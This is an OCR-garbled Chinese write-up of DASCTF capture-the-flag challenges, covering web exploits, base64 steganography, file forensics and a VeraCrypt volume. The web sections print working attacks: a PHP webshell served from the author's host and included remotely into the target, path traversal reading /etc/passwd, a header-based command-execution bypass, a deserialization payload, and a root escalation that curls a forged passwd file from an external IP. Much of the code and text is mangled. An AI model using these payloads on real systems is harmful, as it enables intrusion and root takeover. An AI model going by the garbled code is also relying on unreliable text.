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(_FILE_);
¥
echo "try to read source ?action=";
$action = $ GET['action'];
if ( ($action)) {
if ( ("/base|data|input|zip|z1lib/i", $action)) {

echo "<script>alert('you are A Hacker!!!')</script>";
} else {

include("$action");

RS

mfEvpsE —HA)iE, ZRHITEE

[ _ ]# cat 1.txt
<?php system($ GET[cmd]);echo ok; 7>

]# python3 -m http.server 999¢
rving HTTP on ©0.6.0.0 port 9999 (http://0.0.0.0:9999/)

TR A A — AR

[http://2ebe0125-4fec-4a63-97cd-6a820e033109.kx-ctf.dasctf.com/?
action=http://xxx.xx.xx:9999/1.txt&cmd=cat%20the_hide 23333_haha_some_flag_here.php](http://2ebe0125-4fec-4a63-97cd-
6a820e033109.kx-ctf.dasctf.com/?action=http://xoxxxxx.xx:9999/1 .txt&cmd=cat the_hide 23333 _haha_some_flag here.php)

TES

to read source Factinn=(Tph
-TF (9t 54t

$flag="DASCTF{9b014d79ef0605c763519d8a5d56f54f}";

157



C O O Fz=Z=£| 69251b7-a890-4160-8fb7-55f71c224a8a.kx-ctf.dasctf.com

XiZFERIREF AT E2flag BIMRIEIRRRIX 4 R EF I,
EPFRZELArootBHBHAE T HRSS==ZE T flag
B3y, IR hRAS=HEH1.605

RIERR, #E1.6, HRDMRHE

FAE T B AR B SO B

/file.php?pathname=../file.php&t=txt&o=source

http://c69251b7-a890-4160-8fb7-55f71c224a8a.kx-ctf.dasctf.comffile.php?pathname=.../....[...I...I...I...]
...letc/passwd&t=txt&o=source

root:x:0:0:root:/root:/bin/bash
daemon:x:l:1:daemon: /usr/sbin: /usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync: /bin:/bin/syne
games:x:5:60:games: fusr/games: /usr/sbin/nologin
man:x:6:12:man: /var/cache/man: fusr/sbin/nologin
Ip:x:7:7:1p:/var/spool /1pd: fusr/sbin/nologin
mail:x:8:8:mail:/var/mail:/uer/sbin/nologin
news:x:9:9:news: /var/spool/news: /usr/sbin/nolozin

tion « i - AL~ XSS « Fl « X v [ w
@ Loadur http://c69251b7-a890-4160-8fb7-55f7 1c224aBa kx-ctf dasctf com/file. php?pathname etc/passwd&t=txt&o=source
£ Spitur
») Execute " .
Post data Referer lUser Agent Cookies Clear Al CSDN @keenhlye

P s a3, R EIflaghr B

http://c69251b7-a890-4160-8fb7-55f71c224a8a.kx-ctf.dasctf.comffile.php?pathname=.../.../...[...[...]
...Iroot/.bash_history&t=txt&o=source


http://c69251b7-a890-4160-8fb7-55f71c224a8a.kx-ctf.dasctf.com/file.php?pathname=../../../../../../../etc/passwd&t=txt&o=source

DASCTF {d51229a2750205262486720£8d68be25)

& Loadun hitp //c69251b7-a890-4160-8M7-55f7 1c224a8a kx-ctf dasctf com/file php?pathname= il II1ag&t=txi&o=source
T BMeannh1iie
soUN Wrespollue

DASCTF{d512a9a275020526a486720f8d68be25}

NoRCE

(__FILE_);
$ GET['exp'];
.3 + Apache
C/IM\WIHNCCRRI2N) /', ', $exp)) |
("/o|v|b|print|var|time|file|sqrt|path|dir|exp|pi|an|nalen|ex]|et|na|dec|true|false|[0-9]/i", $

($exp);

("NoNoNo,U R Hacker~");

("What's this?");

FZRCE:

payload:

GET /?exp=system(array_key_last(array_flip(apache_request_headers()))); HTTP/1.1
Host: f3a10547-a3b7-4c8d-b7e0-ec651d868189.kx-ctf.dasctf.com

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61
Safari/537.36
Connection: close

cmdl: pwd

flag 7% ErootiE AL

find / -type f -a \( -perm -u+s -o -perm -u+s \) -exec 1ls -1 {} \; 2> /dev/null



cpfr4 A suid, B % passwd 34 BET B 3%
openssl passwd -1 -salt user passil23

Hepasswd XX EHIHIR, RJFHEroot— 1T EHIBIRIGE, MRIFREXSURA B S

WULLLIYy 1wVl L sxivel LU LUINICLL.,. . . LUInNnicuLCu .

www-data@732aec61d268: /var/www/html$ cd /tmp/
ww-data@732aec61d268: /tmp$ curl http://49.233.20.178:8000/fkEwd -o [Jwd

% Total % Received % Xferd Average Speed Time Time Time Current

Dload Upload Total Spent Left Speed
100 985 100 985 ) @ 961k @ --i-=il== m=le=ie= —-ie-i-- OBlk
ww-data@732aec61d268: /tmp$ 1s
passil
www-data@732aec61d268: /tmp$ cp [Jaawd /etc/[lgawd
ww-data@732aec61d268: /tmp$ su user
ord:

root@732aec61d268: /tmp# cat /flag
DASCTF{c3395496291e73662467a864145b52b3} ;
root@732aec61d268: /tmo# | CSDN @keepblue

DASCTF{69ccd6de8fe9500bd078136600947357 }
GiveMeSecret

XAt B index.php

"waf.php";
class isFile{
public $files = [];
public function @)
{
foreach ($this->files as $filename)
{
if ( ($filename))
{
echo "This is a file";
)i
)i
)i
public function
{
$this->
)i
)i

class readFile{
public $filepath;
public function
{
die("");
)i
public function ($secret, $content)
{
$str = "";
$secret_arrary = (".",$secret);
foreach ($secret_arrary as $key => $value)




$str = $str.$content[$value];

("bash -c "."\""."echo ".$str."\"");
)i
public function ()

{
$result = ($this->filepath);
if ($result)
{
$content = ($result);
if ($content === "(\\sedac3hrolis<$?/.)")
{
$secret = $ GET[ 'secret'];
if ( ($secret))
{
$this-> ($secret, $content);
)i

else

{
die("Hello");

}

else

{
die("YOU ARE DIE");

}

else

{
echo "YOU ARE DIE!";

$this-> 0);
return "";

($_GET['a']))
($_GET['a']));
else

{

echo "Hello Hacker";

RFFI + frEN




public $files = [];

public function ($files) {
$this->files[0] $files;

class readFile{
public $filepath;
public function ($filepath) {
$this->filepath $filepath;

4 2. txt I 242: (\sedac3hrolis<$?/.)
= new readFile("http://xxxx:8000/2.txt");
= new isFile($rfile);
( ($ifile));

# python“tiksecret
# " ".join([str(r'(\sedac3hrolis<$?/.)"'.find(1)) for i in 1)
/ $secret = "1.15.0.11.2.19";

$secret = “1.15.0.17.16.16.16.17.6.5.16.14.16.16.16.16.16.16.16.16.16.16.16.16.16.16.16.16.16.16.16.16.16.16.16.

. $secret . "&a=" . %$a;
($url);
ZEPATALELMEA (VAT AN, FEXETEL, PRXESHELLRSPITSORE AR, RK)5HHITecho, R
ZHTBERIEA .
B EHATIs@r 4, secretg: 1.15.0.11.2.19, A LAIKEXBflag X4

» web php aa.php

index.php index.php~ ohhhhh_flag_ls_Here.txt waf.php
string(21) "bash -¢ "echo \$(1s)""
> web i

-+ web php aa.php
http://a53ccSe7-c87a-4b@9-8852-c81a79a@db6f . kx-ctf.dasctf.com/?secret=1.15.0.17.16.16.16.17.6.5.16.14
.16.16.16.16.16.16.16.16.16.16.16.16.16.16.16.16.16.16.16.16.16.16.16.198a=Tz0201 Jpc@ZpbGUi0jE6e3MONT
01ZmlsZXMi0ZE6MTp7aTow0@860Do1cmVhZEZpbGUi0jE6e3MB60D01Zml sZXBhdGgi03MeMzEGImh@dHAGLY8@0S4yMzMuMjAUMT c
407gwMDAVM150eHQ10319f Q=

DASCTF{3837aeb6531c7f@dcf76c2ada599cf31d}

CSDN @keepbilue

DASCTF{3837ae6531c7f0@dcf76c2ada599cf31d}

Misc




A 1k 1k base64

Binwalk %1

JFIF standard 1.81
Zip archi data, at least v2.@ to tract,
Zip archivegpdatag atgleast|v2.8 to act,

End of Zipharchmuesnfooter! length: 22

JPEG image data; JFIF st
] ¥ data, at 1 Pt xtraet, uncoémpre
/e data ;patgleast va.« extract,. uncompresse

of Zip ‘archives

B H—M it

XHEE BEED B0 =BV =HE

SGUgc2FpZCBJbmRpYSB3aWxsIGJIY29tZSB0aGUgZm91cnRolGNvdW50cnkgYWZ0ZXIgUnVzc2lh



dGhlIFVuaXRIZCBTdGFOZXMgYWS5kIENoaW5hIHRvIGFjaGIldmUgdGhlIGZIYXWxIGFUZCBpdHMgYW ==
¢3Ryb25hdXQgY291bGQgYmUgYSBtYW4gb3lgYSB3b21hbidgVGhIIHNWYWNIIGNh¢HN1bGUgdGhhdCB3
aWxsIHRyYW5zcG9ydCBJbmRpYSdzIGFzdHIvbmF1dHMgd2FzIHRIc3RIZCBhIGZIdyBkYXIzZIGVhemxpZXiu
UmFrZXNolFNoYXJtYSB3YXMgdGhlIGZpcnNOIEIUZGlhbiBObyBOcmF2ZWwgaW4gc3BhY2UsIGFib2FyZCBhIG==
U292aWVOMiByb2NrZXWgaW4gMTk4NC4gWXMgcGFydCBvZiBpdHMgb3dulHNwYWNIIHByb2dyYWOsIGFjdGI2ZW ==
c2luY2UsdGhIIDESNjBzLCBJbmRpYSBoYXMsbGF1bmNoZWQsc2NvemVzIGImIHNhdGVsbGIOZXMsZmOyIGI0c2VsZs ==
1G90aGVyIGNvdWS50cmllcyBhbmQgc3V)Y2Vzc2Z1bGx5IHB1dCBvbmUgaW5gb3JiaXQgYXIvdWSkIEThenMgaW5gMjAxN
C5=
SXQgaG9wZXMgdG8gc2hvd2Nhc2UgaXRzIHRIYZ2hub2xvZ2ljYWwzIGFiaWxpdHmgdG8gZXhwbG9yZSB0aGUgc29sYXIgc
3m=
¢3RIbSB3aGIsZSBhbHNvIHVzaW5nIHJIc2VhemNolGZyb20gc3BhY2UgYW5SkIGVsc2V3aGVyZSBObyBzb2x2ZSBwem9ibGVt
cyA=
YXQgaG9tZS4gVGhlICQxIG)IpbGxpb24tYS15ZWFyIHNwWYWNIIHByb2dyYWO0gaGFzIGFsemVhZHkgaGVscGVkIGRIdmVsb3
Agc2F0
ZWxsaXRILCBjb21tdW5pY2F0aW9ulGFuZCByZW1vdGUtc2Vuc2luZyBOZWNobm9sb2dpZXMgYW5SkIGhhcyBiZWVulHVzZ
WQgdG8gZ2F=
dWdINCB1bmRIcmdyb3VuZCB3YXRIciBsZXZIbHMgYW5kIHBYZWRpY3Qgd2VhdGhliciBpbiB0aGUgY291bnRyeSBwem9uZ

TUadG8aY3libG== CSol

base64fa’s, M EIRANHA, mthe

(s1, s2):
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
res =
for i in xrange(len(s2)):
if s1[i] != s2[i]:
return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))

return res

():
with open('./1.txt', 'rb"') as f:
file_lines = f.readlines()
bin_str = "'
for line in file lines:
steg line = line.replace('\n', "")
norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '")
diff = get_base64_diff value(steg line, norm_line)
print diff
pads_num = steg line.count('=")
if diff:
bin_str += bin(diff)[2:].zfill(pads_num * 2)
else:
bin_str += '0@' * pads_num * 2
print goflag(bin_str)

(bin_str):
res_str = "'
for i in xrange(@, len(bin_str), 8):
res_str += chr(int(bin_str[i:i + 8], 2))
return res_str

if _name__ == ' _ main__ ':

solve_stego()




flag{401e48c9a96dc219c32ab5e75204b655}

. ~/Desktop/111CTF/MISC/ AL 1F B base64/ A 1L 1F Ebase64.jpeg.extracted

flag{401e48c9a96dc219c32ab5e75204b655}
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SRR IR BUE RN .Zip

fBE, EiXEHLE—midea.xml

CTF > MISC > ScHRRUE > SEiRAE > SElRAT

R rels
B media
l theme

. document.xml
- Tty iy Wy R——

. media.xml

B settings.xm|

l webSettings.xml

midea.xml—MRBLAEEE HRA FAE, BN SCHA 1 S E

#15)010 Editor 4 #r

word




L R ES. BURSE D

mﬁsaad‘”’

P3| RRIEZ) —ERRIE S FEaES
4+ @ = B mediazip - 8B8X/\¥ 1KB J -
ZR A ERE ([FAFBEBEARN, AftaBFHESHLAL—F
- (ERER)
& flag.tet * ' .
M s =B / e
FINERHERNTES:
flag.txt
BTEB
=EEg ®E B

CSDM @keepblue

R REEN, RaHA5HM AR, BRER—TRME, KD T RN E K



SN R (LA RN A

EEHE

2021/8/14 16:28 TXT 344

| flag.txt - iBH=&
i) #|EE BXN(O) EFEFNV) #WEIH)
DASCTF{mdS5(the zip's key)}

R JE R rflag{md5(zip key)}, FRBmd55E R flag

EREE:
mdS(FMBMAEER, 32)
md5(F=NAEER, 16)

829e10d6cla52efc9a7e00cb6dc635d05
cla52efc9a7e00ch

DASCTF{829e10d6c1a52efc9a7e00c6dc635d05}
High quality men
verapass.zipZ N

F7zip LA A5 B3R -

tthe veracrypt password is iamgaozhiliangmale

Veracrypth#:# % 1%: iamgaozhiliangmale

BETREREEH R T gao.vera X ff

[kepstream oq 58] - qacchiisng prapng -

b ACK] Seq=1 Ack=1 Win=2102272 Len=262 [TCP segme

59808 15.491503 e G e data; boundarys=dbcdd 260194205497 (50934526ccSde) Q] 8888 - 59808 [MIC] Seq=1 Ack=1 Win=262144 Len
59808 15.491613 . wn— ar l Seqe=1 Ack=263 Win=261824 Len=0
1053 TN 0 | e s ] $q-263 Ack-1 Win-2102272 Len-14600 [TCP sogmergms
1054 59804 15.498721 10.211 — ] Seq=1 Ack=1723 Win=260672 Len=0 -
1055 59808 15.498721 st o R e ] Seq=1 Ack=3183 Win=259200 Len=0 —
1056 59808 15.498721 e o et e U ] Seq-1 Ack=4643 Win=257728 Len=0 =
1057 59808 15,498721 ] Seq=1 Ack=6103 Win=256256 Len=0 =
1058 59808 15.498721 L B s ] Seq=1 Ack=7563 Win=254784 Len=0 —
hP.g..pl.f By, 560/ . ALVEP. M. gu:9. |2 . -
1059 59808 15.498721 i N e 1 Seq=1 Ack-9023 Win=253376 Len=d —



1060 59808 15.498721  10.200] lgo..(.aody. fo Qo gV leeii et B ] Seq=1 Ack=18483 Win=251984 Len=8
1061 59808 15.498721 . ey {\ Seq=1 Ack=11943 Win=250432 Len=0
1062 59808 15.498721 . i v-pivl-..Te.. 180" Seqe1 Ack=13483 Win=248960 Len=0 -
1063 59808 15.498721 Seq=1 Ack=14863 Win=247488 Len=0 -n.
1064 8888 15.498790 | » Seq=14863 Ack=1 Win=2102272 Len=29200 [TCP s
L i _=_— g
» Frame 1050: 316 bytes on wire (2528 bits] ... o s id @
» Ethernet II, Src: Parallel 63:c9:fe (09: ke
» Internet Protocol Version 4, Src: 10.211, ™t
» Transmission Control Protocol, Src Port: ...,
IR~ RS | O | SN | e I N [ NN - S | R S [ |
LT R N LTS SRR T TR SRR LT N L e BX...hAS.w2.....cA... TR,
1.00.8..4]195°..8 L.
|l Copv.ogt. PR WEPARIORA oL Lo | e ()
L o 4K AR At} R e Y e PR, e -
0300 B8 1c 42 B0 ©0 08 80 1c 42 63 9 e :»;';;\gu 160-..M.b.2.1.9....0, PR S R R
0210 @1 2e Bc 29 40 00 B0 06 00 00 0a d3 --1--IIVT-M.. : .
0020 37 02 €9 20 22 b8 52 17 cd 39 b 8 (Ll T D T T B QU T G A BT
0030 20 14 84 d0 ©0 00 SO 4F 53 54 20 2f g 2. vp...0.e08<...."..L.UJS3 P -7 O TR [.r2...95.
0040 75 70 2e 70 68 70 20 48 54 54 50 2 .*..1{...dq....\%...a50-4L..}. L - +2..05, =il
D050 9a 48 6F 73 74 3a 20 31 30 2e 32 31 -Z-le.ow A0l LoQ sl adgheccucsncalhsdifenfanss
20 12 32 32 38 38 32 ad Ma 55 73 M EEE R Ies
0070 65 6e 74 3a 20 70 79 74 68 6f 6e 2d 4 . W0 YORRTTSRU S TN T TRTPIRT? 30X TP
pOH0 65 73 74 73 2 32 2¢ 32 35 2¢ 31 6d 2w aalaliiian
0090 65 70 74 2d 45 6e 63 6f 64 69 6e 67 ik
Boad L8 BAE SM, 0 BAE $4, P trs'h oA R
| 9228 69 70 2c 20 64 €5 66 6c 61 74 65 8 T AL i e CSDN @keepblue
O 7 scaihilions sssns _-‘ i FI_I me0 - 2RE e W) R befealu

ZikforemostE RS BRI PBEAHR, ZXEEMpX A B, B HhtpR (RS Ehtp BRI FEGEEE, K& AbinES,
T PR AR J 7 R 7R BRI 2 ), BRI B R gao.vera B RS BN vera, il T BEER B H LMK — L

FHHE
E upupup(92).php 2021/10/10 11:10 PHP {4 1KB
B upupup(4).php 2021/10/10 11:10 PHP 374 1K8
B upupup(96).php 2021/10/10 11:10 PHP 324 1K8B
B upupup(98).php 2021/10/10 11:10 PHP 3z 1K8
B upupup(100).php 2021/10/10 11:10 PHP {4 1KB
B upupup(102).php 2021/10/10 11:10 PHP 324 1KB
B upupup(104).php 2021/10/10 11:10 PHP {4 1KB
B upupup(106).php 2021/10/10 11:10 PHP {4 1KB
B upupup(108).php 2021/10/10 11:10 PHP 3244 1K8
B upupup(110).php 2021/10/10 11:10 PHP 3244 1KB
B uoupup(112).php 2021/10/10 11:10 PHP 37i% 1K8
B upupup(114).php 2021/10/10 11:10 PHP 3244 1K8
B upupup(116).php 2021/10/10 11:10 PHP 3744 1K8
B upupup(118).php 2021/10/10 11:10 PHP 3744 1KB
B upupup(120).php 2021/10/10 11:10 PHP x4 1KB
B upupup(122).php 2021/10/10 11:10 PHP 3244 1K8
B upupup(124).php 2021/10/10 11:10 PHP 324 1KB
H upupup(126).php 2021/10/10 11:10 PHP 3744 1KB
B upupup(128).php 2021/10/10 11:10 PHP 3Zi% 1KB
& upupup(130).vera 2021/10/10 11:30 VERA 32i4 16,385 KB
f#FVeraCryptiT 7, #H#HiSH: iamgaozhiliangmale
1 ¥ VeraCrypt - x
Volumes System Favorites Tools Settings Help Homepage
|| | Drive Volume Size Encryption Algorithm  Type |




- | A:
=) B:
wE:
BF:
we| G2
| H:
«| Enter password for C:\Users\Administrator\Downloads\i®&E&...\upupup(130).vera
- .
=il Password: iamgaozhiliangmale ‘ OK ‘
| ' :
=\ PKCS-5PRF: Autodetection v [_) TrueCrypt Mode Cancel
() Use PIM
() Cache passwords and keyfiles in memory
Display password
Vol .
[ JUse keyfiles Keyfiles... Mount Options...
w [ _—gTmem s TS e e———re T s e e e e RS S & lde W W 'I et T e
e Never save history Volume Tools... Select Device...
Mount Auto-Mount Devices Dismount All Exit
CSDN @keepnlue
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#ROurSecert, ZhY: HRERM

Make your secrets invisible In just 3 easy steps |

X |

Q2 [

£=2

" gaozhiliang

&ﬂaag.zip
£ High quali i
igh quality men.zip

==t
2021/10/10 11:19
2021/8/18 15:21
2021/10/10 10:09

flaag.zip

zip Files (*.zip)




B 3lflaag.ziplH 2 EH HED:

© i
WEHF) W) TR0 EEO) WEM TRM =EBH
£ fasgip 3 FEsh Bradoh Wl MER&E (CRO)  #XEN EasiE wERE e =N
[ = [ 58 4 TXT#H fd547805 2021/8/18 23:19.03 Deflate AESZS6 A

O wrEs x

SADET SR,

BAEH

| v

B 2TER

_-1 = W wn [ © W weoERl Esespbile
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| Comtant-Length:
1038 8888 15.447785 1021 Cooione Type: multipart/form-data; boundarysbedodéal7983eT6o8e064c 90 fdcI412 | HTTP/1.1
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1046 8888 15.451691  10.21 X-Powered-By: PHP/S.4. K] Seq-403 Ack-601 Win-262144 Len-0

Keep-Alive: timeout=5, max=108
Connection: Keep-Alive
Transfer-Encoding: chunked
Convent-Type: text/huml
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<label fer-"file">filename...</label>
<input type="file™ name="file~ ig="file ><br>

<input type="submit™ name="subsit™ value="...... ">
| </form>
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